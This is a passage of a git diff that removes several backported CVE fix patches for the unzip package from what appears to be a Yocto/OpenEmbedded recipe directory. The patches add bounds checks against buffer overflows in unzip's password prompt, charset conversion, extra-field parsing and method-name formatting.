90 echo "Check for setlocale support (needed for UNICODE Native check)"
91@@ -418,8 +405,7 @@ temp_link="link_$$"
92 echo "int main() { lchmod(\"${temp_file}\", 0666); }" \
93 ) > conftest.c
94 ln -s "${temp_link}" "${temp_file}" && \
95- $CC $BFLAG $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null && \
96- ./conftest
97+ $CC -Werror=implicit-function-declaration $BFLAG $LDFLAGS -o conftest conftest.c >/dev/null
98 [ $? -ne 0 ] && CFLAGSR="${CFLAGSR} -DNO_LCHMOD"
99 rm -f "${temp_file}"
100
101--
1022.34.1
103
diff --git a/meta/recipes-extended/unzip/unzip/0001-unzip-fix-CVE-2018-1000035.patch b/meta/recipes-extended/unzip/unzip/0001-unzip-fix-CVE-2018-1000035.patch
deleted file mode 100644
index 37289d1a53..0000000000
--- a/meta/recipes-extended/unzip/unzip/0001-unzip-fix-CVE-2018-1000035.patch
+++ /dev/null
@@ -1,48 +0,0 @@
1From 349f566e6e757458843fa164a0f0584280e1501e Mon Sep 17 00:00:00 2001
2From: Changqing Li <changqing.li@windriver.com>
3Date: Wed, 15 Aug 2018 16:20:53 +0800
4Subject: [PATCH] unzip: fix CVE-2018-1000035
5
6Upstream-Status: Backport
7
8CVE: CVE-2018-1000035
9
10backport from unzip6.10c23
11
12Signed-off-by: Changqing Li <changqing.li@windriver.com>
13---
14 fileio.c | 11 ++++++++---
15 1 file changed, 8 insertions(+), 3 deletions(-)
16
17diff --git a/fileio.c b/fileio.c
18index 36bfea3..7605a29 100644
19--- a/fileio.c
20+++ b/fileio.c
21@@ -1582,6 +1582,8 @@ int UZ_EXP UzpPassword (pG, rcnt, pwbuf, size, zfn, efn)
22 int r = IZ_PW_ENTERED;
23 char *m;
24 char *prompt;
25+ char *ep;
26+ char *zp;
27
28 #ifndef REENTRANT
29 /* tell picky compilers to shut up about "unused variable" warnings */
30@@ -1590,9 +1592,12 @@ int UZ_EXP UzpPassword (pG, rcnt, pwbuf, size, zfn, efn)
31
32 if (*rcnt == 0) { /* First call for current entry */
33 *rcnt = 2;
34- if ((prompt = (char *)malloc(2*FILNAMSIZ + 15)) != (char *)NULL) {
35- sprintf(prompt, LoadFarString(PasswPrompt),
36- FnFilter1(zfn), FnFilter2(efn));
37+ zp = FnFilter1( zfn);
38+ ep = FnFilter2( efn);
39+ prompt = (char *)malloc( /* Slightly too long (2* "%s"). */
40+ sizeof( PasswPrompt)+ strlen( zp)+ strlen( ep));
41+ if (prompt != (char *)NULL) {
42+ sprintf(prompt, LoadFarString(PasswPrompt), zp, ep);
43 m = prompt;
44 } else
45 m = (char *)LoadFarString(PasswPrompt2);
46--
472.7.4
48
diff --git a/meta/recipes-extended/unzip/unzip/06-unzip60-alt-iconv-utf8_CVE-2015-1315.patch b/meta/recipes-extended/unzip/unzip/06-unzip60-alt-iconv-utf8_CVE-2015-1315.patch
deleted file mode 100644
index afc4c734a7..0000000000
--- a/meta/recipes-extended/unzip/unzip/06-unzip60-alt-iconv-utf8_CVE-2015-1315.patch
+++ /dev/null
@@ -1,403 +0,0 @@
1From: Giovanni Scafora <giovanni.archlinux.org>
2Subject: unzip files encoded with non-latin, non-unicode file names
3Last-Update: 2015-02-11
4
5Upstream-Status: Backport
6CVE: CVE-2015-1315
7
8Updated 2015-02-11 by Marc Deslauriers <marc.deslauriers@canonical.com>
9to fix buffer overflow in charset_to_intern()
10
11Signed-off-by: Marc Deslauriers <marc.deslauriers@canonical.com>
12
13Index: unzip-6.0/unix/unix.c
14===================================================================
15--- unzip-6.0.orig/unix/unix.c 2015-02-11 08:46:43.675324290 -0500
16+++ unzip-6.0/unix/unix.c 2015-02-11 09:18:04.902081319 -0500
17@@ -30,6 +30,9 @@
18 #define UNZIP_INTERNAL
19 #include "unzip.h"
20
21+#include <iconv.h>
22+#include <langinfo.h>
23+
24 #ifdef SCO_XENIX
25 # define SYSNDIR
26 #else /* SCO Unix, AIX, DNIX, TI SysV, Coherent 4.x, ... */
27@@ -1874,3 +1877,102 @@
28 }
29 }
30 #endif /* QLZIP */
31+
32+
33+typedef struct {
34+ char *local_charset;
35+ char *archive_charset;
36+} CHARSET_MAP;
37+
38+/* A mapping of local <-> archive charsets used by default to convert filenames
39+ * of DOS/Windows Zip archives. Currently very basic. */
40+static CHARSET_MAP dos_charset_map[] = {
41+ { "ANSI_X3.4-1968", "CP850" },
42+ { "ISO-8859-1", "CP850" },
43+ { "CP1252", "CP850" },
44+ { "UTF-8", "CP866" },
45+ { "KOI8-R", "CP866" },
46+ { "KOI8-U", "CP866" },
47+ { "ISO-8859-5", "CP866" }
48+};
49+
50+char OEM_CP[MAX_CP_NAME] = "";
51+char ISO_CP[MAX_CP_NAME] = "";
52+
53+/* Try to guess the default value of OEM_CP based on the current locale.
54+ * ISO_CP is left alone for now. */
55+void init_conversion_charsets()
56+{
57+ const char *local_charset;
58+ int i;
59+
60+ /* Make a guess only if OEM_CP not already set. */
61+ if(*OEM_CP == '\0') {
62+ local_charset = nl_langinfo(CODESET);
63+ for(i = 0; i < sizeof(dos_charset_map)/sizeof(CHARSET_MAP); i++)
64+ if(!strcasecmp(local_charset, dos_charset_map[i].local_charset)) {
65+ strncpy(OEM_CP, dos_charset_map[i].archive_charset,
66+ sizeof(OEM_CP));
67+ break;
68+ }
69+ }
70+}
71+
72+/* Convert a string from one encoding to the current locale using iconv().
73+ * Be as non-intrusive as possible. If error is encountered during covertion
74+ * just leave the string intact. */
75+static void charset_to_intern(char *string, char *from_charset)
76+{
77+ iconv_t cd;
78+ char *s,*d, *buf;
79+ size_t slen, dlen, buflen;
80+ const char *local_charset;
81+
82+ if(*from_charset == '\0')
83+ return;
84+
85+ buf = NULL;
86+ local_charset = nl_langinfo(CODESET);
87+
88+ if((cd = iconv_open(local_charset, from_charset)) == (iconv_t)-1)
89+ return;
90+
91+ slen = strlen(string);
92+ s = string;
93+
94+ /* Make sure OUTBUFSIZ + 1 never ends up smaller than FILNAMSIZ
95+ * as this function also gets called with G.outbuf in fileio.c
96+ */
97+ buflen = FILNAMSIZ;
98+ if (OUTBUFSIZ + 1 < FILNAMSIZ)
99+ {
100+ buflen = OUTBUFSIZ + 1;
101+ }
102+
103+ d = buf = malloc(buflen);
104+ if(!d)
105+ goto cleanup;
106+
107+ bzero(buf,buflen);
108+ dlen = buflen - 1;
109+
110+ if(iconv(cd, &s, &slen, &d, &dlen) == (size_t)-1)
111+ goto cleanup;
112+ strncpy(string, buf, buflen);
113+
114+ cleanup:
115+ free(buf);
116+ iconv_close(cd);
117+}
118+
119+/* Convert a string from OEM_CP to the current locale charset. */
120+inline void oem_intern(char *string)
121+{
122+ charset_to_intern(string, OEM_CP);
123+}
124+
125+/* Convert a string from ISO_CP to the current locale charset. */
126+inline void iso_intern(char *string)
127+{
128+ charset_to_intern(string, ISO_CP);
129+}
130Index: unzip-6.0/unix/unxcfg.h
131===================================================================
132--- unzip-6.0.orig/unix/unxcfg.h 2015-02-11 08:46:43.675324290 -0500
133+++ unzip-6.0/unix/unxcfg.h 2015-02-11 08:46:43.671324260 -0500
134@@ -228,4 +228,30 @@
135 /* wild_dir, dirname, wildname, matchname[], dirnamelen, have_dirname, */
136 /* and notfirstcall are used by do_wild(). */
137
138+
139+#define MAX_CP_NAME 25
140+
141+#ifdef SETLOCALE
142+# undef SETLOCALE
143+#endif
144+#define SETLOCALE(category, locale) setlocale(category, locale)
145+#include <locale.h>
146+
147+#ifdef _ISO_INTERN
148+# undef _ISO_INTERN
149+#endif
150+#define _ISO_INTERN(str1) iso_intern(str1)
151+
152+#ifdef _OEM_INTERN
153+# undef _OEM_INTERN
154+#endif
155+#ifndef IZ_OEM2ISO_ARRAY
156+# define IZ_OEM2ISO_ARRAY
157+#endif
158+#define _OEM_INTERN(str1) oem_intern(str1)
159+
160+void iso_intern(char *);
161+void oem_intern(char *);
162+void init_conversion_charsets(void);
163+
164 #endif /* !__unxcfg_h */
165Index: unzip-6.0/unzip.c
166===================================================================
167--- unzip-6.0.orig/unzip.c 2015-02-11 08:46:43.675324290 -0500
168+++ unzip-6.0/unzip.c 2015-02-11 08:46:43.675324290 -0500
169@@ -327,11 +327,21 @@
170 -2 just filenames but allow -h/-t/-z -l long Unix \"ls -l\" format\n\
171 -v verbose, multi-page format\n";
172
173+#ifndef UNIX
174 static ZCONST char Far ZipInfoUsageLine3[] = "miscellaneous options:\n\
175 -h print header line -t print totals for listed files or for all\n\
176 -z print zipfile comment -T print file times in sortable decimal format\
177 \n -C be case-insensitive %s\
178 -x exclude filenames that follow from listing\n";
179+#else /* UNIX */
180+static ZCONST char Far ZipInfoUsageLine3[] = "miscellaneous options:\n\
181+ -h print header line -t print totals for listed files or for all\n\
182+ -z print zipfile comment %c-T%c print file times in sortable decimal format\
183+\n %c-C%c be case-insensitive %s\
184+ -x exclude filenames that follow from listing\n\
185+ -O CHARSET specify a character encoding for DOS, Windows and OS/2 archives\n\
186+ -I CHARSET specify a character encoding for UNIX and other archives\n";
187+#endif /* !UNIX */
188 #ifdef MORE
189 static ZCONST char Far ZipInfoUsageLine4[] =
190 " -M page output through built-in \"more\"\n";
191@@ -664,6 +674,17 @@
192 -U use escapes for all non-ASCII Unicode -UU ignore any Unicode fields\n\
193 -C match filenames case-insensitively -L make (some) names \
194 lowercase\n %-42s -V retain VMS version numbers\n%s";
195+#elif (defined UNIX)
196+static ZCONST char Far UnzipUsageLine4[] = "\
197+modifiers:\n\
198+ -n never overwrite existing files -q quiet mode (-qq => quieter)\n\
199+ -o overwrite files WITHOUT prompting -a auto-convert any text files\n\
200+ -j junk paths (do not make directories) -aa treat ALL files as text\n\
201+ -U use escapes for all non-ASCII Unicode -UU ignore any Unicode fields\n\
202+ -C match filenames case-insensitively -L make (some) names \
203+lowercase\n %-42s -V retain VMS version numbers\n%s\
204+ -O CHARSET specify a character encoding for DOS, Windows and OS/2 archives\n\
205+ -I CHARSET specify a character encoding for UNIX and other archives\n\n";
206 #else /* !VMS */
207 static ZCONST char Far UnzipUsageLine4[] = "\
208 modifiers:\n\
209@@ -802,6 +823,10 @@
210 #endif /* UNICODE_SUPPORT */
211
212
213+#ifdef UNIX
214+ init_conversion_charsets();
215+#endif
216+
217 #if (defined(__IBMC__) && defined(__DEBUG_ALLOC__))
218 extern void DebugMalloc(void);
219
220@@ -1335,6 +1360,11 @@
221 argc = *pargc;
222 argv = *pargv;
223
224+#ifdef UNIX
225+ extern char OEM_CP[MAX_CP_NAME];
226+ extern char ISO_CP[MAX_CP_NAME];
227+#endif
228+
229 while (++argv, (--argc > 0 && *argv != NULL && **argv == '-')) {
230 s = *argv + 1;
231 while ((c = *s++) != 0) { /* "!= 0": prevent Turbo C warning */
232@@ -1516,6 +1546,35 @@
233 }
234 break;
235 #endif /* MACOS */
236+#ifdef UNIX
237+ case ('I'):
238+ if (negative) {
239+ Info(slide, 0x401, ((char *)slide,
240+ "error: encodings can't be negated"));
241+ return(PK_PARAM);
242+ } else {
243+ if(*s) { /* Handle the -Icharset case */
244+ /* Assume that charsets can't start with a dash to spot arguments misuse */
245+ if(*s == '-') {
246+ Info(slide, 0x401, ((char *)slide,
247+ "error: a valid character encoding should follow the -I argument"));
248+ return(PK_PARAM);
249+ }
250+ strncpy(ISO_CP, s, sizeof(ISO_CP));
251+ } else { /* -I charset */
252+ ++argv;
253+ if(!(--argc > 0 && *argv != NULL && **argv != '-')) {
254+ Info(slide, 0x401, ((char *)slide,
255+ "error: a valid character encoding should follow the -I argument"));
256+ return(PK_PARAM);
257+ }
258+ s = *argv;
259+ strncpy(ISO_CP, s, sizeof(ISO_CP));
260+ }
261+ while(*(++s)); /* No params straight after charset name */
262+ }
263+ break;
264+#endif /* ?UNIX */
265 case ('j'): /* junk pathnames/directory structure */
266 if (negative)
267 uO.jflag = FALSE, negative = 0;
268@@ -1591,6 +1650,35 @@
269 } else
270 ++uO.overwrite_all;
271 break;
272+#ifdef UNIX
273+ case ('O'):
274+ if (negative) {
275+ Info(slide, 0x401, ((char *)slide,
276+ "error: encodings can't be negated"));
277+ return(PK_PARAM);
278+ } else {
279+ if(*s) { /* Handle the -Ocharset case */
280+ /* Assume that charsets can't start with a dash to spot arguments misuse */
281+ if(*s == '-') {
282+ Info(slide, 0x401, ((char *)slide,
283+ "error: a valid character encoding should follow the -I argument"));
284+ return(PK_PARAM);
285+ }
286+ strncpy(OEM_CP, s, sizeof(OEM_CP));
287+ } else { /* -O charset */
288+ ++argv;
289+ if(!(--argc > 0 && *argv != NULL && **argv != '-')) {
290+ Info(slide, 0x401, ((char *)slide,
291+ "error: a valid character encoding should follow the -O argument"));
292+ return(PK_PARAM);
293+ }
294+ s = *argv;
295+ strncpy(OEM_CP, s, sizeof(OEM_CP));
296+ }
297+ while(*(++s)); /* No params straight after charset name */
298+ }
299+ break;
300+#endif /* ?UNIX */
301 case ('p'): /* pipes: extract to stdout, no messages */
302 if (negative) {
303 uO.cflag = FALSE;
304Index: unzip-6.0/unzpriv.h
305===================================================================
306--- unzip-6.0.orig/unzpriv.h 2015-02-11 08:46:43.675324290 -0500
307+++ unzip-6.0/unzpriv.h 2015-02-11 08:46:43.675324290 -0500
308@@ -3008,7 +3008,7 @@
309 !(((islochdr) || (isuxatt)) && \
310 ((hostver) == 25 || (hostver) == 26 || (hostver) == 40))) || \
311 (hostnum) == FS_HPFS_ || \
312- ((hostnum) == FS_NTFS_ && (hostver) == 50)) { \
313+ ((hostnum) == FS_NTFS_ /* && (hostver) == 50 */ )) { \
314 _OEM_INTERN((string)); \
315 } else { \
316 _ISO_INTERN((string)); \
317Index: unzip-6.0/zipinfo.c
318===================================================================
319--- unzip-6.0.orig/zipinfo.c 2015-02-11 08:46:43.675324290 -0500
320+++ unzip-6.0/zipinfo.c 2015-02-11 08:46:43.675324290 -0500
321@@ -457,6 +457,10 @@
322 int tflag_slm=TRUE, tflag_2v=FALSE;
323 int explicit_h=FALSE, explicit_t=FALSE;
324
325+#ifdef UNIX
326+ extern char OEM_CP[MAX_CP_NAME];
327+ extern char ISO_CP[MAX_CP_NAME];
328+#endif
329
330 #ifdef MACOS
331 uO.lflag = LFLAG; /* reset default on each call */
332@@ -501,6 +505,35 @@
333 uO.lflag = 0;
334 }
335 break;
336+#ifdef UNIX
337+ case ('I'):
338+ if (negative) {
339+ Info(slide, 0x401, ((char *)slide,
340+ "error: encodings can't be negated"));
341+ return(PK_PARAM);
342+ } else {
343+ if(*s) { /* Handle the -Icharset case */
344+ /* Assume that charsets can't start with a dash to spot arguments misuse */
345+ if(*s == '-') {
346+ Info(slide, 0x401, ((char *)slide,
347+ "error: a valid character encoding should follow the -I argument"));
348+ return(PK_PARAM);
349+ }
350+ strncpy(ISO_CP, s, sizeof(ISO_CP));
351+ } else { /* -I charset */
352+ ++argv;
353+ if(!(--argc > 0 && *argv != NULL && **argv != '-')) {
354+ Info(slide, 0x401, ((char *)slide,
355+ "error: a valid character encoding should follow the -I argument"));
356+ return(PK_PARAM);
357+ }
358+ s = *argv;
359+ strncpy(ISO_CP, s, sizeof(ISO_CP));
360+ }
361+ while(*(++s)); /* No params straight after charset name */
362+ }
363+ break;
364+#endif /* ?UNIX */
365 case 'l': /* longer form of "ls -l" type listing */
366 if (negative)
367 uO.lflag = -2, negative = 0;
368@@ -521,6 +554,35 @@
369 G.M_flag = TRUE;
370 break;
371 #endif
372+#ifdef UNIX
373+ case ('O'):
374+ if (negative) {
375+ Info(slide, 0x401, ((char *)slide,
376+ "error: encodings can't be negated"));
377+ return(PK_PARAM);
378+ } else {
379+ if(*s) { /* Handle the -Ocharset case */
380+ /* Assume that charsets can't start with a dash to spot arguments misuse */
381+ if(*s == '-') {
382+ Info(slide, 0x401, ((char *)slide,
383+ "error: a valid character encoding should follow the -I argument"));
384+ return(PK_PARAM);
385+ }
386+ strncpy(OEM_CP, s, sizeof(OEM_CP));
387+ } else { /* -O charset */
388+ ++argv;
389+ if(!(--argc > 0 && *argv != NULL && **argv != '-')) {
390+ Info(slide, 0x401, ((char *)slide,
391+ "error: a valid character encoding should follow the -O argument"));
392+ return(PK_PARAM);
393+ }
394+ s = *argv;
395+ strncpy(OEM_CP, s, sizeof(OEM_CP));
396+ }
397+ while(*(++s)); /* No params straight after charset name */
398+ }
399+ break;
400+#endif /* ?UNIX */
401 case 's': /* default: shorter "ls -l" type listing */
402 if (negative)
403 uO.lflag = -2, negative = 0;
diff --git a/meta/recipes-extended/unzip/unzip/09-cve-2014-8139-crc-overflow.patch b/meta/recipes-extended/unzip/unzip/09-cve-2014-8139-crc-overflow.patch
deleted file mode 100644
index 0e497cc65f..0000000000
--- a/meta/recipes-extended/unzip/unzip/09-cve-2014-8139-crc-overflow.patch
+++ /dev/null
@@ -1,53 +0,0 @@
1From: sms
2Subject: Fix CVE-2014-8139: CRC32 verification heap-based overflow
3Bug-Debian: http://bugs.debian.org/773722
4
5The patch comes from unzip_6.0-8+deb7u2.debian.tar.gz
6
7Upstream-Status: Backport
8CVE: CVE-2014-8139
9
10Signed-off-by: Roy Li <rongqing.li@windriver.com>
11
12--- a/extract.c
13+++ b/extract.c
14@@ -298,6 +298,8 @@
15 #ifndef SFX
16 static ZCONST char Far InconsistEFlength[] = "bad extra-field entry:\n \
17 EF block length (%u bytes) exceeds remaining EF data (%u bytes)\n";
18+ static ZCONST char Far TooSmallEBlength[] = "bad extra-field entry:\n \
19+ EF block length (%u bytes) invalid (< %d)\n";
20 static ZCONST char Far InvalidComprDataEAs[] =
21 " invalid compressed data for EAs\n";
22 # if (defined(WIN32) && defined(NTSD_EAS))
23@@ -2023,7 +2025,8 @@
24 ebID = makeword(ef);
25 ebLen = (unsigned)makeword(ef+EB_LEN);
26
27- if (ebLen > (ef_len - EB_HEADSIZE)) {
28+ if (ebLen > (ef_len - EB_HEADSIZE))
29+ {
30 /* Discovered some extra field inconsistency! */
31 if (uO.qflag)
32 Info(slide, 1, ((char *)slide, "%-22s ",
33@@ -2158,11 +2161,19 @@
34 }
35 break;
36 case EF_PKVMS:
37- if (makelong(ef+EB_HEADSIZE) !=
38+ if (ebLen < 4)
39+ {
40+ Info(slide, 1,
41+ ((char *)slide, LoadFarString(TooSmallEBlength),
42+ ebLen, 4));
43+ }
44+ else if (makelong(ef+EB_HEADSIZE) !=
45 crc32(CRCVAL_INITIAL, ef+(EB_HEADSIZE+4),
46 (extent)(ebLen-4)))
47+ {
48 Info(slide, 1, ((char *)slide,
49 LoadFarString(BadCRC_EAs)));
50+ }
51 break;
52 case EF_PKW32:
53 case EF_PKUNIX:
diff --git a/meta/recipes-extended/unzip/unzip/10-cve-2014-8140-test-compr-eb.patch b/meta/recipes-extended/unzip/unzip/10-cve-2014-8140-test-compr-eb.patch
deleted file mode 100644
index ca4aaadffe..0000000000
--- a/meta/recipes-extended/unzip/unzip/10-cve-2014-8140-test-compr-eb.patch
+++ /dev/null
@@ -1,36 +0,0 @@
1From: sms
2Subject: Fix CVE-2014-8140: out-of-bounds write issue in test_compr_eb()
3Bug-Debian: http://bugs.debian.org/773722
4
5The patch comes from unzip_6.0-8+deb7u2.debian.tar.gz
6
7Upstream-Status: Backport
8CVE: CVE-2014-8140
9
10Signed-off-by: Roy Li <rongqing.li@windriver.com>
11
12Index: unzip60/extract.c
13===================================================================
14--- unzip60.orig/extract.c
15+++ unzip60/extract.c
16@@ -2233,10 +2233,17 @@ static int test_compr_eb(__G__ eb, eb_si
17 if (compr_offset < 4) /* field is not compressed: */
18 return PK_OK; /* do nothing and signal OK */
19
20+ /* Return no/bad-data error status if any problem is found:
21+ * 1. eb_size is too small to hold the uncompressed size
22+ * (eb_ucsize). (Else extract eb_ucsize.)
23+ * 2. eb_ucsize is zero (invalid). 2014-12-04 SMS.
24+ * 3. eb_ucsize is positive, but eb_size is too small to hold
25+ * the compressed data header.
26+ */
27 if ((eb_size < (EB_UCSIZE_P + 4)) ||
28- ((eb_ucsize = makelong(eb+(EB_HEADSIZE+EB_UCSIZE_P))) > 0L &&
29- eb_size <= (compr_offset + EB_CMPRHEADLEN)))
30- return IZ_EF_TRUNC; /* no compressed data! */
31+ ((eb_ucsize = makelong( eb+ (EB_HEADSIZE+ EB_UCSIZE_P))) == 0L) ||
32+ ((eb_ucsize > 0L) && (eb_size <= (compr_offset + EB_CMPRHEADLEN))))
33+ return IZ_EF_TRUNC; /* no/bad compressed data! */
34
35 method = makeword(eb + (EB_HEADSIZE + compr_offset));
36 if ((method == STORED) &&
diff --git a/meta/recipes-extended/unzip/unzip/11-cve-2014-8141-getzip64data.patch b/meta/recipes-extended/unzip/unzip/11-cve-2014-8141-getzip64data.patch
deleted file mode 100644
index c48c23f304..0000000000
--- a/meta/recipes-extended/unzip/unzip/11-cve-2014-8141-getzip64data.patch
+++ /dev/null
@@ -1,145 +0,0 @@
1From: sms
2Subject: Fix CVE-2014-8141: out-of-bounds read issues in getZip64Data()
3Bug-Debian: http://bugs.debian.org/773722
4
5The patch comes from unzip_6.0-8+deb7u2.debian.tar.gz
6
7Upstream-Status: Backport
8CVE: CVE-2014-8141
9
10Signed-off-by: Roy Li <rongqing.li@windriver.com>
11
12
13--- a/fileio.c
14+++ b/fileio.c
15@@ -176,6 +176,8 @@
16 #endif
17 static ZCONST char Far ExtraFieldTooLong[] =
18 "warning: extra field too long (%d). Ignoring...\n";
19+static ZCONST char Far ExtraFieldCorrupt[] =
20+ "warning: extra field (type: 0x%04x) corrupt. Continuing...\n";
21
22 #ifdef WINDLL
23 static ZCONST char Far DiskFullQuery[] =
24@@ -2295,7 +2297,12 @@
25 if (readbuf(__G__ (char *)G.extra_field, length) == 0)
26 return PK_EOF;
27 /* Looks like here is where extra fields are read */
28- getZip64Data(__G__ G.extra_field, length);
29+ if (getZip64Data(__G__ G.extra_field, length) != PK_COOL)
30+ {
31+ Info(slide, 0x401, ((char *)slide,
32+ LoadFarString( ExtraFieldCorrupt), EF_PKSZ64));
33+ error = PK_WARN;
34+ }
35 #ifdef UNICODE_SUPPORT
36 G.unipath_filename = NULL;
37 if (G.UzO.U_flag < 2) {
38--- a/process.c
39+++ b/process.c
40@@ -1,5 +1,5 @@
41 /*
42- Copyright (c) 1990-2009 Info-ZIP. All rights reserved.
43+ Copyright (c) 1990-2014 Info-ZIP. All rights reserved.
44
45 See the accompanying file LICENSE, version 2009-Jan-02 or later
46 (the contents of which are also included in unzip.h) for terms of use.
47@@ -1901,48 +1901,82 @@
48 and a 4-byte version of disk start number.
49 Sets both local header and central header fields. Not terribly clever,
50 but it means that this procedure is only called in one place.
51+
52+ 2014-12-05 SMS.
53+ Added checks to ensure that enough data are available before calling
54+ makeint64() or makelong(). Replaced various sizeof() values with
55+ simple ("4" or "8") constants. (The Zip64 structures do not depend
56+ on our variable sizes.) Error handling is crude, but we should now
57+ stay within the buffer.
58 ---------------------------------------------------------------------------*/
59
60+#define Z64FLGS 0xffff
61+#define Z64FLGL 0xffffffff
62+
63 if (ef_len == 0 || ef_buf == NULL)
64 return PK_COOL;
65
66 Trace((stderr,"\ngetZip64Data: scanning extra field of length %u\n",
67 ef_len));
68
69- while (ef_len >= EB_HEADSIZE) {
70+ while (ef_len >= EB_HEADSIZE)
71+ {
72 eb_id = makeword(EB_ID + ef_buf);
73 eb_len = makeword(EB_LEN + ef_buf);
74
75- if (eb_len > (ef_len - EB_HEADSIZE)) {
76- /* discovered some extra field inconsistency! */
77+ if (eb_len > (ef_len - EB_HEADSIZE))
78+ {
79+ /* Extra block length exceeds remaining extra field length. */
80 Trace((stderr,
81 "getZip64Data: block length %u > rest ef_size %u\n", eb_len,
82 ef_len - EB_HEADSIZE));
83 break;
84 }
85- if (eb_id == EF_PKSZ64) {
86-
87+ if (eb_id == EF_PKSZ64)
88+ {
89 int offset = EB_HEADSIZE;
90
91- if (G.crec.ucsize == 0xffffffff || G.lrec.ucsize == 0xffffffff){
92- G.lrec.ucsize = G.crec.ucsize = makeint64(offset + ef_buf);
93- offset += sizeof(G.crec.ucsize);
94+ if ((G.crec.ucsize == Z64FLGL) || (G.lrec.ucsize == Z64FLGL))
95+ {
96+ if (offset+ 8 > ef_len)
97+ return PK_ERR;
98+
99+ G.crec.ucsize = G.lrec.ucsize = makeint64(offset + ef_buf);
100+ offset += 8;
101 }
102- if (G.crec.csize == 0xffffffff || G.lrec.csize == 0xffffffff){
103- G.csize = G.lrec.csize = G.crec.csize = makeint64(offset + ef_buf);
104- offset += sizeof(G.crec.csize);
105+
106+ if ((G.crec.csize == Z64FLGL) || (G.lrec.csize == Z64FLGL))
107+ {
108+ if (offset+ 8 > ef_len)
109+ return PK_ERR;
110+
111+ G.csize = G.crec.csize = G.lrec.csize = makeint64(offset + ef_buf);
112+ offset += 8;
113 }
114- if (G.crec.relative_offset_local_header == 0xffffffff){
115+
116+ if (G.crec.relative_offset_local_header == Z64FLGL)
117+ {
118+ if (offset+ 8 > ef_len)
119+ return PK_ERR;
120+
121 G.crec.relative_offset_local_header = makeint64(offset + ef_buf);
122- offset += sizeof(G.crec.relative_offset_local_header);
123+ offset += 8;
124 }
125- if (G.crec.disk_number_start == 0xffff){
126+
127+ if (G.crec.disk_number_start == Z64FLGS)
128+ {
129+ if (offset+ 4 > ef_len)
130+ return PK_ERR;
131+
132 G.crec.disk_number_start = (zuvl_t)makelong(offset + ef_buf);
133- offset += sizeof(G.crec.disk_number_start);
134+ offset += 4;
135 }
136+#if 0
137+ break; /* Expect only one EF_PKSZ64 block. */
138+#endif /* 0 */
139 }
140
141- /* Skip this extra field block */
142+ /* Skip this extra field block. */
143 ef_buf += (eb_len + EB_HEADSIZE);
144 ef_len -= (eb_len + EB_HEADSIZE);
145 }
diff --git a/meta/recipes-extended/unzip/unzip/18-cve-2014-9913-unzip-buffer-overflow.patch b/meta/recipes-extended/unzip/unzip/18-cve-2014-9913-unzip-buffer-overflow.patch
deleted file mode 100644
index 3c02d596cc..0000000000
--- a/meta/recipes-extended/unzip/unzip/18-cve-2014-9913-unzip-buffer-overflow.patch
+++ /dev/null
@@ -1,33 +0,0 @@
1From: "Steven M. Schweda" <sms@antinode.info>
2Subject: Fix CVE-2014-9913, buffer overflow in unzip
3Bug: https://sourceforge.net/p/infozip/bugs/27/
4Bug-Debian: https://bugs.debian.org/847485
5Bug-Ubuntu: https://launchpad.net/bugs/387350
6X-Debian-version: 6.0-21
7
8Upstream-Status: Backport
9CVE: CVE-2014-9913
10Signed-off-by: Zhixiong Chi <zhixiong.chi@windriver.com>
11
12--- a/list.c
13+++ b/list.c
14@@ -339,7 +339,18 @@
15 G.crec.compression_method == ENHDEFLATED) {
16 methbuf[5] = dtype[(G.crec.general_purpose_bit_flag>>1) & 3];
17 } else if (methnum >= NUM_METHODS) {
18- sprintf(&methbuf[4], "%03u", G.crec.compression_method);
19+ /* 2013-02-26 SMS.
20+ * http://sourceforge.net/p/infozip/bugs/27/ CVE-2014-9913.
21+ * Unexpectedly large compression methods overflow
22+ * &methbuf[]. Use the old, three-digit decimal format
23+ * for values which fit. Otherwise, sacrifice the
24+ * colon, and use four-digit hexadecimal.
25+ */
26+ if (G.crec.compression_method <= 999) {
27+ sprintf( &methbuf[ 4], "%03u", G.crec.compression_method);
28+ } else {
29+ sprintf( &methbuf[ 3], "%04X", G.crec.compression_method);
30+ }
31 }
32
33 #if 0 /* GRR/Euro: add this? */
diff --git a/meta/recipes-extended/unzip/unzip/19-cve-2016-9844-zipinfo-buffer-overflow.patch b/meta/recipes-extended/unzip/unzip/19-cve-2016-9844-zipinfo-buffer-overflow.patch
deleted file mode 100644
index ffadbc2efa..0000000000
--- a/meta/recipes-extended/unzip/unzip/19-cve-2016-9844-zipinfo-buffer-overflow.patch
+++ /dev/null
@@ -1,32 +0,0 @@
1From: "Steven M. Schweda" <sms@antinode.info>
2Subject: Fix CVE-2016-9844, buffer overflow in zipinfo
3Bug-Debian: https://bugs.debian.org/847486
4Bug-Ubuntu: https://launchpad.net/bugs/1643750
5X-Debian-version: 6.0-21
6
7Upstream-Status: Backport
8CVE: CVE-2016-9844
9Signed-off-by: Zhixiong Chi <zhixiong.chi@windriver.com>
10
11--- a/zipinfo.c
12+++ b/zipinfo.c
13@@ -1921,7 +1921,18 @@
14 ush dnum=(ush)((G.crec.general_purpose_bit_flag>>1) & 3);
15 methbuf[3] = dtype[dnum];
16 } else if (methnum >= NUM_METHODS) { /* unknown */
17- sprintf(&methbuf[1], "%03u", G.crec.compression_method);
18+ /* 2016-12-05 SMS.
19+ * https://launchpad.net/bugs/1643750
20+ * Unexpectedly large compression methods overflow
21+ * &methbuf[]. Use the old, three-digit decimal format
22+ * for values which fit. Otherwise, sacrifice the "u",
23+ * and use four-digit hexadecimal.
24+ */
25+ if (G.crec.compression_method <= 999) {
26+ sprintf( &methbuf[ 1], "%03u", G.crec.compression_method);
27+ } else {
28+ sprintf( &methbuf[ 0], "%04X", G.crec.compression_method);
29+ }
30 }
31
32 for (k = 0; k < 15; ++k)
diff --git a/meta/recipes-extended/unzip/unzip/CVE-2015-7696.patch b/meta/recipes-extended/unzip/unzip/CVE-2015-7696.patch
deleted file mode 100644
index 87eed965d0..0000000000
--- a/meta/recipes-extended/unzip/unzip/CVE-2015-7696.patch
+++ /dev/null
@@ -1,39 +0,0 @@
1Upstream-Status: Backport
2CVE: CVE-2015-7696
3Signed-off-by: Tudor Florea <tudor.flore@enea.com>
4
5From 68efed87fabddd450c08f3112f62a73f61d493c9 Mon Sep 17 00:00:00 2001
6From: Petr Stodulka <pstodulk@redhat.com>
7Date: Mon, 14 Sep 2015 18:23:17 +0200
8Subject: [PATCH 1/2] upstream fix for heap overflow
9
10https://bugzilla.redhat.com/attachment.cgi?id=1073002
11---
12 crypt.c | 12 +++++++++++-
13 1 file changed, 11 insertions(+), 1 deletion(-)
